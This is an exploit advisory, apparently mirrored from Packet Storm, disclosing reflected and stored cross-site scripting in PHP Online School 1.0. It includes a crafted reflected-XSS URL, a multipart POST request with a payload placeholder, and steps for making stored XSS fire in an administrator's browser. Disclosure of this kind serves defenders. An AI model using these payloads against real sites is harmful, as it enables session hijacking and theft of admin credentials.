Exploit for PHP Online School 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:173060
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
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┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
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: Author : CraCkEr :  
│ Website : https://www.netartmedia.net/online-school/ │  
│ Vendor : NetArt Media │  
│ Software : PHP Online School 1.0 │  
│ Vuln Type: Reflected XSS - Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
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: :  
│ Release Notes: │  
│ ═════════════ │  
│ │  
│ Reflected XSS │  
│ │  
│ The attacker can send to victim a link containing a malicious URL in an email or │  
│ instant message can perform a wide variety of actions, such as stealing the victim's │  
│ session token or login credentials │  
│ │  
│ │  
│ Stored XSS │  
│ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │   
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Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
Path: /index.php  
  
URL parameter is vulnerable to RXSS  
  
https://website/users/index.php?category=home&action=welcome&category=home&action=welcome&order=date&order_type=desc&e9m9f"onmouseover="confirm(1)"style="position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b"fgok8=1  
  
  
## Stored XSS  
  
  
POST /online-school/users/index.php HTTP/2  
  
-----------------------------124654322118707720774051212206  
Content-Disposition: form-data; name="title"  
  
Any Title  
-----------------------------124654322118707720774051212206  
Content-Disposition: form-data; name="post_message"  
  
  
-----------------------------124654322118707720774051212206  
Content-Disposition: form-data; name="message"  
  
[XSS Payload]  
-----------------------------124654322118707720774051212206  
  
  
## Steps to Reproduce:  
  
1. Signup & Login in any Normal User Mode  
2. Go to [My Question] Click [Ask a New Question] on this Path (https://website/users/index.php?category=tickets&action=new)  
3. Select Any Subject  
4. Write any Title  
5. Inject your [XSS Payload] in "Message Box"  
6. Select Any Priority  
7. Press Submit  
  
8. When ADMIN check Student Questions on this Path (https://website/admin/index.php?category=tickets&action=new)  
9. XSS Will Fire and Executed on his Browser   
  
  
[-] Done